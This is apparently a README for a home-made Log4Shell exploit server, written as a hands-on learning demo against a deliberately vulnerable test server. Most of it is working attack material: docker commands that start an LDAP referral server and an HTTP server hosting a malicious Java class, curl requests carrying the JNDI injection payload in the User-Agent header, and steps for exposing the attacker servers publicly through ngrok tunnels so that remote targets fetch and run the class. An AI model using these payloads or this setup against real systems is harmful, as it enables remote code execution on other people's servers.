The server itself: https://github.com/Kirill89/log4shell-vulnerable-server
Java 8 is required.
UnboundID LDAP SDK used to run LDAP server on port 9999. For any request the server respond with the entry which points to a Java class served via HTTP server hosted on 8888 port.
docker build -t log4shell-vulnerable-server-exploit .
You need to run the vulnerable server in the docker container first.
docker run -it --rm -p 8888:8888 -p 9999:9999 --name log4shell-vulnerable-server-exploit log4shell-vulnerable-server-exploit
curl http://localhost:8000
curl --user-agent '${jndi:ldap://host.docker.internal:9999/Evil}' http://localhost:8000
ngrok tcp 9999
ngrok http 8888
docker run -it --rm -p 8888:8888 -p 9999:9999 --env HTTP_SERVER_HOST=http://a8465040ee4f.ngrok.io/ --name log4shell-vulnerable-server-exploit log4shell-vulnerable-server-exploit
curl http://localhost:8000
curl --user-agent '${jndi:ldap://6.tcp.ngrok.io:19132/Evil}' http://localhost:8000
Note:
- Replace ngrok hosts with yours.
- Instead of the ngrok you can use other tcp proxy or deploy the container to public address.
https://snyk.io/blog/log4shell-remediation-cheat-sheet/
- Learning – I better understand things when I get my hands dirty.
- I prefer to use my own code for various demos.
- I like to keep thing simple. Other exploits in my opinion is too big and difficult to read.